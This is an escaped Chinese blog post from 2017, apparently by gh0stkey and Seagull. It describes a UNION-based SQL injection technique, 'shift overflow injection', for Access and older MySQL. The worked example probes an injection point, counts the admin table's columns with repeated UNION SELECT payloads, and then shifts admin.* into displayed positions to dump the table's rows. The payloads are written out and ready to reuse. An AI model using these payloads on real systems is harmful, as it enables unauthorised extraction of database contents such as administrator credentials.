id=\"\u4ecb\u7ecd\"><strong>\u4ecb\u7ecd<\/strong>\uff1a<\/h2>\n\n<p>\u5728Access\u6570\u636e\u5e93\u7c7b\u578b\u6ce8\u5165\u7684\u65f6\u5019\uff0c\u6211\u4eec\u83b7\u53d6\u4e0d\u5230\u5217\u540d(\u524d\u63d0\u662f\u6709\u8868\u540d)\uff0c\u4e00\u822c\u4f1a\u9009\u62e9\u4f7f\u7528\u504f\u79fb\u6ce8\u5165\uff0c\u4f46\u662f\u8fd9\u79cd\u6ce8\u5165\u65b9\u5f0f\u5f80\u5f80\u501f\u52a9\u7684\u662f\u4e2a\u4eba\u7684\u4eba\u54c1\uff0c\u4e14\u6b65\u9aa4\u7e41\u7410\u3002\u672c\u6587\u4e2d\u6211\u4eec\u7814\u7a76\u4e86\u4e00\u79cd\u65b0\u7684\u6ce8\u5165\u6280\u672f\u8ba9\u201c\u504f\u79fb\u6ce8\u5165\u4e0d\u5728\u9700\u8981\u4eba\u54c1\u201d\u3002\u5728\u8fd9\u91cc\u5b9a\u4e49\u8fd9\u79cd\u6ce8\u5165\u6280\u672f\u4e3a\uff1a\u201c\u79fb\u4f4d\u6ea2\u6ce8\u6280\u672f\u201d\u3002\n\u5b83\u9002\u7528\u4e8eACCESS\u548cMYSQL\uff08\u4efb\u4f55\u7248\u672c\uff09<\/p>\n\n<h2 id=\"\u6b63\u6587\"><strong>\u6b63\u6587\uff1a<\/strong><\/h2>\n\n<p>\u6211\u4eec\u5148\u6765\u770b\u770b\u666e\u901a\u7684\u504f\u79fb\u6ce8\u5165\u6b65\u9aa4\uff1a<\/p>\n\n<pre><code>1.\u5224\u65ad\u6ce8\u5165\u70b9\n2.order by \u5224\u65ad\u957f\u5ea6\n3.\u5224\u65ad\u8868\u540d\n4.\u8054\u5408\u67e5\u8be2\n5.\u83b7\u53d6\u8868\u4e2d\u5217\u6570\uff1a**union select 1,2,3,4,..,\\* from TABLE**\n6.\u5f00\u59cb\u504f\u79fb\u6ce8\u5165\uff1a**TABLE as a inner join TABLE as b ona.id=b.id**\n<\/code><\/pre>\n\n<p>\u7531\u4e8e\u6b65\u9aa46\u7684\u65b9\u6cd5\u8fc7\u4e8e\u9700\u8981\u4eba\u54c1\u503c\uff0c\u4e14\u8bed\u53e5\u7e41\u7410\uff0c\u56e0\u6b64\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u7814\u7a76\u65b0\u7684\u6ce8\u5165\u6280\u672f\uff1a<\/p>\n\n<p>\u9996\u5148\u6765\u770b\u770b\u6b65\u9aa46\u8bed\u53e5\u7684\u6574\u4f53\u610f\u601d\uff1a<\/p>\n\n<p>\u6b65\u9aa46\u7684\u8bed\u53e5\uff0c<strong>\u8868\u793a\u7ed9TALBE\u53d62\u4e2a\u522b\u540d\uff0c\u7136\u540e\u5206\u522b\u7528\u522b\u540d\u53d6\u67e5\u8be2TALBE\u7684\u5185\u5bb9\uff08\u8868a\u548c\u8868b\uff09\uff1b\u800con a.id = b.id \u8fd9\u6837\u7684\u6761\u4ef6\u662f\u4e3a\u4e86\u6ee1\u8db3\u8bed\u6cd5\u9700\u6c42\uff0c\u5b9e\u9645\u5e76\u6ca1\u6709\u4f5c\u7528\uff0c\u56e0\u4e3a\u76f8\u540c\u5185\u5bb9\u7684\u8868\uff0c\u76f8\u540c\u5b57\u6bb5\u5185\u5bb9\u4e00\u5b9a\u76f8\u540c\u3002<\/strong><\/p>\n\n<p>\u8fd9\u65f6\uff0c\u6211\u4eec\u518d\u56de\u8fc7\u5934\u6765\u770b\u6b65\u9aa45\uff1a<\/p>\n\n<p><strong>\u7531\u4e8e\u8054\u5408\u67e5\u8be2\u4e2dselect\u540e\u9762\u6dfb\u52a0\u6570\u5b57\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u8ba9\u8054\u5408\u67e5\u8be2\u8fd4\u56de\u63a5\u7ed3\u679c\u548c\u7f51\u7ad9\u6b63\u5e38\u67e5\u8be2\u8fd4\u56de\u7684\u7ed3\u679c\u7684\u5217\u6570\u4e00\u81f4\uff08\u4e0d\u4e00\u81f4\u6570\u636e\u5e93\u4f1a\u62a5\u9519\uff0c\u9875\u9762\u65e0\u6cd5\u663e\u793a\uff09\uff0c\u4e14*\u8868\u793a\u901a\u914d\u7b26\uff0c\u53ef\u4ee5\u8868\u793a\u6574\u4e2a\u8868\u683c\u6240\u6709\u5217\uff1b\u56e0\u6b64\u8fd9\u91cc\u901a\u8fc7\u6570\u5b57\u6765\u5360\u4f4d\uff0c\u5e76\u4f7f\u7528*\u6765\u66ff\u4ee3TABLE\u4e2d\u7684\u6240\u6709\u5217\uff0c\u4f7f\u5f97\u8054\u5408\u67e5\u8be2\u53ef\u4ee5\u5b8c\u6210\uff0c\u5e76\u63a8\u7b97\u51fa*\u7684\u503c\u3002<\/strong><\/p>\n\n<p>\u8fd9\u65f6\u5019\u6211\u4eec\u7ee7\u7eed\u7814\u7a76\u504f\u79fb\u6ce8\u5165\u7684\u6574\u4f53\u516c\u5f0f\u65b9\u6cd5\uff0c\u53d1\u73b0\u5373\u4f7f\u4f7f\u7528\u591a\u7ea7\u504f\u79fb\u6ce8\u5165\u4e5f\u9700\u8981\u4e00\u5b9a\u7684\u6982\u7387(\u4eba\u54c1\u503c)\u624d\u53ef\u4ee5\u5f97\u5230\u60f3\u8981\u7684\u7ed3\u679c\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u5c1d\u8bd5\u7814\u7a76\u65b0\u7684\u65b9\u6cd5\u80fd\u4e0d\u80fd\u66ff\u6362\u8fd9\u79cd\u4e0d\u56fa\u5b9a\u6982\u7387\u7684\u65b9\u6cd5\u3002<\/p>\n\n<p>\u73b0\u5728\u6211\u4eec\u91cd\u65b0\u6574\u7406\u4e00\u4e0bSQL\u8bed\u53e5\uff0c\u4ece\u8054\u5408\u67e5\u8be2\u5f00\u59cb\uff1a<\/p>\n\n<p>1.\u539funion\u8bed\u53e5\uff1a<strong>union select 1,2,3,..,p..,n from TABLE<\/strong><\/p>\n\n<p>\uff08p=\u9875\u9762\u7206\u51fa\u7684\u6570\u5b57\uff0c\u53ef\u80fd\u6709\u591a\u4e2ap1,p2..\uff1bn=\u539f\u7f51\u7ad9\u67e5\u8be2\u7684\u603b\u5217\u6570\uff1bTALBE=\u6211\u4eec\u83b7\u5f97\u7684\u8868\u540d\uff1b\u4e0b\u9762\u5f00\u59cb\u5c31\u4f7f\u7528\u4e0a\u8ff0\u5b57\u6bcd\u7684\u5b9a\u4e49\uff09<\/p>\n\n<p>2.\u65b0\u8bed\u53e5\uff1a<\/p>\n\n<p><strong>union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where<\/strong> <strong>\u5b57\u6bb5\u540d<\/strong> <strong>=<\/strong> <strong>\u5b57\u6bb5\u5185\u5bb9<\/strong><\/p>\n\n<p>\u2013\u5728p\u7684\u4f4d\u7f6e\u7206\u51faTALBE\u8868\u4e2d\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u7684\u5185\u5bb9\uff08\u5176\u4ed6\u4f4d\u7f6e\u8fd8\u53ef\u80fd\u7206\u51fa\u66f4\u591a\u5185\u5bb9\uff09<\/p>\n\n<p>\uff08\u8fd9\u91cc\u5982\u679c\u5b58\u5728\u5df2\u77e5\u5b57\u6bb5\u540d\u53ef\u4ee5\u4f7f\u7528\uff0c\u6ca1\u6709\u5c31\u4e0d\u7528\uff0c\u4e00\u822cid\u8fd9\u4e2a\u5b57\u6bb5\u65f6\u5b58\u5728\u7684\uff0c\u53ef\u4ee5\u4f7f\u7528id = 1\u6765\u663e\u793a\u7b2c\u4e00\u884c\uff09<\/p>\n\n<p><strong>union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where<\/strong> <strong>\u5b57\u6bb5\u540d<\/strong> <strong>=<\/strong> <strong>\u5b57\u6bb5\u5185\u5bb9<\/strong><\/p>\n\n<p>\u2013\u5728p\u7684\u4f4d\u7f6e\u7206\u51faTALBE\u8868\u4e2d\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u7684\u5185\u5bb9\uff08\u5176\u4ed6\u4f4d\u7f6e\u8fd8\u53ef\u80fd\u7206\u51fa\u66f4\u591a\u5185\u5bb9\uff09<\/p>\n\n<p><strong>union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where<\/strong> <strong>\u5b57\u6bb5\u540d<\/strong> <strong>=<\/strong> <strong>\u5b57\u6bb5\u5185\u5bb9<\/strong><\/p>\n\n<p>\u2013\u5728p\u7684\u4f4d\u7f6e\u7206\u51faTALBE\u8868\u4e2d\u7b2c\u4e09\u4e2a\u5b57\u6bb5\u7684\u5185\u5bb9\uff08\u5176\u4ed6\u4f4d\u7f6e\u8fd8\u53ef\u80fd\u7206\u51fa\u66f4\u591a\u5185\u5bb9\uff09<\/p>\n\n<p>\u6ce8\uff1a\u8fd9\u91cc\u4e00\u5b9a\u662fTALBE.<em>\u800c\u4e0d\u662f<\/em><\/p>\n\n<p>3.1 <strong>\u4ee5\u6b64\u7c7b\u63a8\u53ef\u4ee5\u7206\u51faTALBE\u7684\u6bcf\u4e00\u5217\u5185\u5bb9\u3002<\/strong><\/p>\n\n<p>3.2 <strong>\u5982\u679cp&lt;k\u5219\u6ca1\u6cd5\u7206\u51fap+1\u5217\u81f3k\u5217\u7684\u5185\u5bb9\uff0c\u5982\u679cn-p&lt;k\u5219\u65e0\u6cd5\u7206\u51fa\u7b2c1\u5217\u81f3k-(n-p)\u5217<\/strong>\u3002<\/p>\n\n<h2 id=\"\u539f\u7406\"><strong>\u539f\u7406\uff1a<\/strong><\/h2>\n\n<p>1.\u7531\u539f\u8bed\u53e5\uff1a<strong>union select 1,2,3,..,p..,n-k,* from TABLE<\/strong> \u53ef\u4ee5\u5f97\u51fa\u8be5\u8054\u5408\u67e5\u8be2\u7684\u76ee\u7684\u662f\u6784\u9020\u548c\u539f\u7f51\u7ad9\u76f8\u540c\u5217\u6570\u7684\u67e5\u8be2\u7ed3\u6784\uff0c\u4f7f\u5f97\u9875\u9762\u4e0a\u53ef\u4ee5\u663e\u793a\u5bf9\u5e94\u7684\u6570\u5b57\uff1b\u8fd9\u6761\u8bed\u53e5\u76f8\u5f53\u4e8e\u662f\u505a\u4e86\u4e24\u6b21\u67e5\u8be2\u5e76\u5c06\u5b83\u4eec\u7684\u7ed3\u679c\u5408\u5e76\uff0c\u7b2c\u4e00\u6b21\u505a\u4e86<strong>select 1,2,3,..,n-k from TALBE<\/strong> \uff0c\u7b2c\u4e8c\u6b21\u505a\u4e86<strong>select * from TALBE<\/strong> \uff0c\u7136\u540e\u5c06\u5b83\u4eec\u7684\u7ed3\u679c\u5408\u5e76\u3002<\/p>\n\n<p>\u8fd9\u53ef\u4ee5\u53c2\u8003mysql\u7684\u8bed\u53e5\uff1a<strong>select 1,2,3,4,5,admin.* from admin;<\/strong><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x00.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x01.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x02.jpg\" alt=\"img\" \/><\/p>\n\n<p>2.\u53ea\u8981\u6ee1\u8db3\u539f\u74061\u7684\u8981\u6c42\uff0c\u4fdd\u969c\u8054\u5408\u67e5\u8be2\u7684\u7ed3\u679c\u548c\u539f\u7f51\u7ad9\u67e5\u8be2\u7684\u7ed3\u679c\u5217\u6570\u4e00\u81f4\u5373\u53ef\uff1b\u56e0\u6b64\u53ef\u4ee5\u5c06TALBE.*\u5411\u524d\u79fb\u52a8\u81f3\u9875\u9762\u663e\u793a\u7684\u6570\u5b57\u5904\u6765\u7206\u51faTALBE\u5217\u4e2d\u7684\u5185\u5bb9\u3002<\/p>\n\n<p>\u8fd9\u53ef\u4ee5\u53c2\u8003mysql\u7684\u8bed\u53e5\uff1a<\/p>\n\n<pre><code class=\"language-mysql\">select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin;\nselect 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;\n<\/code><\/pre>\n\n<p><strong>\u6ce8\uff1a\u5047\u8bbe\u6570\u5b574\u30015\u5728\u9875\u9762\u663e\u793a\u3002<\/strong><\/p>\n\n<p>\u7531\u4e0b\u56fe\u53ef\u77e5\uff0c\u5176\u5b9e\u6570\u636e\u5df2\u8fd1\u67e5\u8be2\u51fa\u6765\uff0c\u4f46\u662f\u9875\u9762\u6ca1\u6709\u663e\u793a\uff0c\u8fd9\u4e2a\u662f\u901a\u8fc7\u5e73\u79fb\u67e5\u8be2\u7ed3\u679c\u5230\u9875\u9762\u663e\u793a\u7684\u6570\u5b57\u4e0a\u53bb\uff0c\u5373\u53ef\u7206\u51fa\u654f\u611f\u5b57\u6bb5\u3002<\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x03.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x04.jpg\" alt=\"img\" \/><\/p>\n\n<h2 id=\"\u4f8b\u5b50\"><strong>\u4f8b\u5b50\uff1a<\/strong><\/h2>\n\n<p><strong>\u6b65\u9aa41\uff1a<\/strong>\u5224\u65ad\u6ce8\u5165\u70b9\u662f\u5426\u5b58\u5728<\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x05.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u6b65\u9aa42\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x06.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x07.jpg\" alt=\"img\" \/><\/p>\n\n<p><strong>\u6b65\u9aa43\uff1a<\/strong>\u83b7\u5f97\u8868\u540d(\u5fc5\u5907\u6761\u4ef6)   and exists(select * from admin)<\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x08.jpg\" alt=\"img\" \/><\/p>\n\n<p><strong>\u6b65\u9aa44\uff1a<\/strong>\u83b7\u53d6\u4e0d\u4e86\u5217\u540d\uff08\u5f53\u5c1d\u8bd5\u591a\u4e2a\u5e38\u7528\u5b57\u6bb5\u540d\u4ee5\u540e\uff0c\u6700\u7ec8\u8fd8\u662f\u53d1\u73b0\u65e0\u6cd5\u83b7\u5f97\u5b57\u6bb5\u540d\uff09<\/p>\n\n<p><strong>\u6b65\u9aa45\uff1a<\/strong>\u4f7f\u7528\u8054\u5408\u67e5\u8be2(union select)<\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x09.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x010.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u6b65\u9aa46\uff1a\u4f7f\u7528\u65b0\u6ce8\u5165\u6280\u672f\u65b9\u6cd5<\/p>\n\n<p>\uff081\uff09\u83b7\u53d6admin\u8868\u7684\u5217\u6570\uff1a<\/p>\n\n<pre><code class=\"language-mysql\">UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--\u8fd4\u56de\u9519\u8bef\u9875\u9762\n\nUNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--\u8fd4\u56de\u9519\u8bef\u9875\u9762\n\nUNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--\u8fd4\u56de\u9519\u8bef\u9875\u9762\n\nUNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--\u8fd4\u56de\u9519\u8bef\u9875\u9762\n.....\n\nUNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--\u8fd4\u56de\u6b65\u9aa45\u9875\u9762\uff0c\u56e0\u6b64admin\u8868\u7684\u5217\u6570\u4e3a6\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-03-08\/0x011.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x012.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x013.jpg\" alt=\"img\" \/><\/p>\n\n<p>\uff082\uff09\u7531\u4e8e\u7f51\u9875\u4e2d\u5305\u542b\u8fde\u7eed\u6570\u5b57\uff0c\u8868\u793a\u53ef\u4ee5\u663e\u793a\u8fde\u7eed\u7684\u67e5\u8be2\u7ed3\u679c\uff0c\u6784\u9020SQL\u8bed\u53e5\u67e5\u8be2\u524d\u56db\u5217\u7b2c\u4e00\u884c\u3002<\/p>\n\n<pre><code class=\"language-mysql\">UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-03-08\/0x014.jpg\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-08\/0x015.jpg\" alt=\"img\" \/><\/p>\n\n<pre><code class=\"language-mysql\">UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-03-08\/0x016.jpg\" alt=\"img\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\"><strong>\u603b\u7ed3<\/strong><\/h2>\n\n<p>\u5728\u8fd9\u91cc\u6211\u4eec\u547d\u540d\u8fd9\u79cd\u65b0\u6ce8\u5165\u6280\u672f\u4e3a\u201d\u79fb\u4f4d\u6ea2\u6ce8\u201d\u3002\u7531\u6b64\u5982\u679cMYSQL\u5c0f\u4e8e5.0\u7684\u60c5\u51b5\u4e0b\u6240\u5177\u5907\u7684\u6761\u4ef6\u548cACCESS\u4e00\u6837\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u6b64\u65b9\u6cd5\u6ce8\u5165\uff0c\u5982\u679c\u662fMYSQL\u5927\u4e8e5.0\u7684\u7248\u672c\uff0c\u4f7f\u7528\u6b64\u65b9\u6cd5\u53ef\u4ee5\u7701\u53bb\u83b7\u5f97\u5217\u540d\u7684\u6b65\u9aa4\u3002<\/p>\n\n<p><strong>\u6587\u7ae0\u7814\u7a76\uff1a<\/strong>gh0stkey &amp; Seagull<\/p>\n","pubDate":"2017-03-08T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2017-03-08\/1","guid":"https:\/\/gh0st.cn\/archives\/2017-03-08\/1"}]}}